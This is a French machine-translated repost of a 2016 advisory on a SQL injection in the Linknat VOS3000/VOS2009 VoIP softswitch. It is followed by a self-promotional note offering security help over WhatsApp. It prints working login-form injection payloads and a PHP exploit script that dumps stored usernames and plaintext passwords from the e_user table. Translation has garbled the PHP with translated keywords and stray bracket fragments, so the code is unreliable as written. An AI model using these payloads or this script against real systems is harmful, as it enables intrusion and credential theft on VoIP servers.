Injection SQL Linknat VOS2009/VOS3000
De: Osama Khalid <osama ()="" codinghazard="" com="">D
ate: Thu, 19 mai 2016 16:52:54 +0500</osama>
Une injection SQL a été trouvée dans Linknat VOS3000/VOS2009, un VoIP populaire softswitch, qui pourrait permettre aux attaquants distants d’accéder à la informations d’identification stockées en texte brut. Application: Linknat VOS3000/VOS2009 Versions concernées: 2.1.1.5, 2.1.1.8, 2.1.2.0 URL du fournisseur : http://www.linknat.com/ Bug: SQLi (avec privilèges DBA) Type: Télécommande Résolution : Correction, mise à niveau vers 2.1.2.4 ou 2.1.6.0 Version propre Référence: Wooyun-2015-145458 - http://www.wooyun.org/bugs/wooyun-2010-0145458 Le SQLi signalé est aveugle basé sur le temps. Comme il ne s’agit pas d’un SQLi en bande, le résultats peuvent être recueillis à partir de la sortie de bienvenue.jsp au cours de la même Session. (1ère demande) POST http://target/eng/login.jsp PARAM loginType=1 name=' union select 1,2,@@version,'hello',5,6# pass=' OU ''=' (2ème demande au cours de la même session) GET http://target/eng/welcome.jsp RÉSULTAT 0|' sélection syndicale 1,2,@@version,'hello',5,6#|1|5.0.51a-community|hello|0.00|0.00| <?[ EXPLOIT CODE ]php # # Linknat VOS2009/VOS3000 SQLi exploit # # DISCLAIMER: The exploit is to be used for educational purposes only # The author would not be responsible for any misuse # # AUTHOR: Osama Khalid # WEBSITE: http://www.codinghazard.com/ # DATE: 19/05/2016 # REF: http://www.wooyun.org/bugs/wooyun-2010-0145458 if ($argc < 2) { banner(); usage(); exit; } $host = $argv; $column_one [1] = isset($argv) ? $argv : "l[2]oginname"[2]; $column_two = isset($argv) ? $argv : "pas[3]sword"; $[3]table = isset($argv) ? $argv : "e_us[4]er"; $oth[4]er = isset($argv) ? $argv : ""; f[5]unction b[5]anner() { echo "########################################n"; echo "# #n"; echo "# Linknat VOS3000/VOS2009 SQLi exploit #n"; echo "# #n"; echo "# Osama Khalid #n"; echo "########### codinghazard.com ###########n"; } function usage() { echo "n"; echo "php vos3000.php n"; echo "php vos3000.p[HOST]hp 127.0.0.1n"; echo "php vos3000.php n"; echo "php vos3000[HOST].[COL1]p[COL2]h[TABLE]p[OTHER SQL] 127.0.0.1 table_schema table_name information_schema.tables "where table_schema = 'mysql'" n"; } function curl($url, $post = array(), $cookies = null, $header = false) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, false); curl_setopt($curl, CURLOPT_HEADER, $header); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); if ($cookies != null) curl_setopt($curl, CURLOPT_COOKIE, $cookies); if (count($post) > 0) { avantach ( $post comme $key => $value) $post_items = $key . '=' . urlencode($value); [] $post_string = implose('',$post_items); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, $post_string); } $data = curl_exec($curl); curl_close($curl); $data de retour; } requête de fonction($host, $query) { $data = curl(« http://$host/eng/login.jsp »;, tableau( « loginType » => 1, « nom » => « ' union « . $query . "#", « pass » => « ' OU ''=' » ), null, vrai); preg_match_all('| Set-Cookie: (.*);|U', $data, $matches); $cookies = implose( »; ' $matches); $data = curl(« http://$host/en[1]g/welcome.jsp »;, array(), $cookies, false); $parts = explode(« | », trim($data)); si (compte($parts) < 7) return false; return array($parts, $parts); } function ascii_table($data[3]) { [4]$keys = array_keys(end($data)); $wid = array_map('strlen', $keys); foreach($data as $row) { foreach(array_values($row) as $k => $v) $wid = max($wid, strlen($v)); } foreach($[$k]wid comme $k[$k] => $v) { $fmt = « %-{$v}s »; $sep = str_repeat('-[$k]', $v); } $fmt = '|[$k] ' . imploser(' | ', $fmt) . ' |'; $sep = '+-' . imploser('-+-', $sep) . '-+'; $buf = tableau($sep, vsprintf($fmt, $keys), $sep); foreach($data comme $row) { $buf = vsprintf($fmt, $row); $buf = $[]sep; } retour implode(« n », []$buf); } bannière(); écho « n »; écho « Cible: $hostn »; écho « Colonne #1: $column_onen »; écho « Colonne #2: $column_twon »; écho « Table: $tablen »; écho « Autre: $othern »; écho « n »; $results = tableau(); $count_result = query($host, « SELECT 1,2,COUNT(*),4,5,6 FROM $table $other »); si ($count_result) { $count = intval($count_result); écho « Trouvé $count lignes...n [0]»; pour ($i=0; $i<$count; $i++)="" {="" $q="SELECT 1,2,HEX($column_one),HEX($column_two),5,6 FROM $table $other LIMIT " .="" $i="" .="" ",1";="" $result="query($host," $q);="" if="" ($result)="" {="" echo="" "r"="" .="" ($i+1)="" .="" "]t"="" .="" $column_one="" .="" "=" . hex2bin($result) . " ,="" "="" .="" $column[0]_two="" .="" "=" . hex2bin($result) . " n";="" }[1]="" else="" {="" echo="" "error="" retrieving="" row="" "="" .="" ($i+1)="" .="" "n";="" }="" $results="array($co[]lumn_one" ==""> hex2bin($result), $colum[0]n_two => hex2bin($result)); } [1] si (compte($results) > 0) { écho « nn » . ascii_table($results) . « n »; } } autre { écho « error retriving row count » ; } ?></$count;>
À partir de 2016 Les gens utilisant quelques articles doux d’injection SQL pour pirater VOS3000, Nous avons notre propre système de sécurité à partir de ce moment, nous avons mis à jour notre système de sécurité trop fort maintenant, mon objectif de travail a toujours été pour la sécurité pour voip soft-switch. La plupart du temps, j’ai donné des conseils gratuits ou partagé des informations autant possible gratuitement. Pourtant, il ya beaucoup de choses sales courir autour, donc s’il vous plaît être prudent toujours et en savoir plus. Sinon, vous ne serez jamais en mesure de faire de bonnes affaires jamais. Maintenant-un-jours Personnes utilisant des scripts cachés ou des logiciels malveillants dans le logiciel client VOS3000 pour pirater VOS Server.
Pour plus d’aide Frappez-moi dans WhatsApp: +8801911119966 – je vais faire aider tous les moyens.
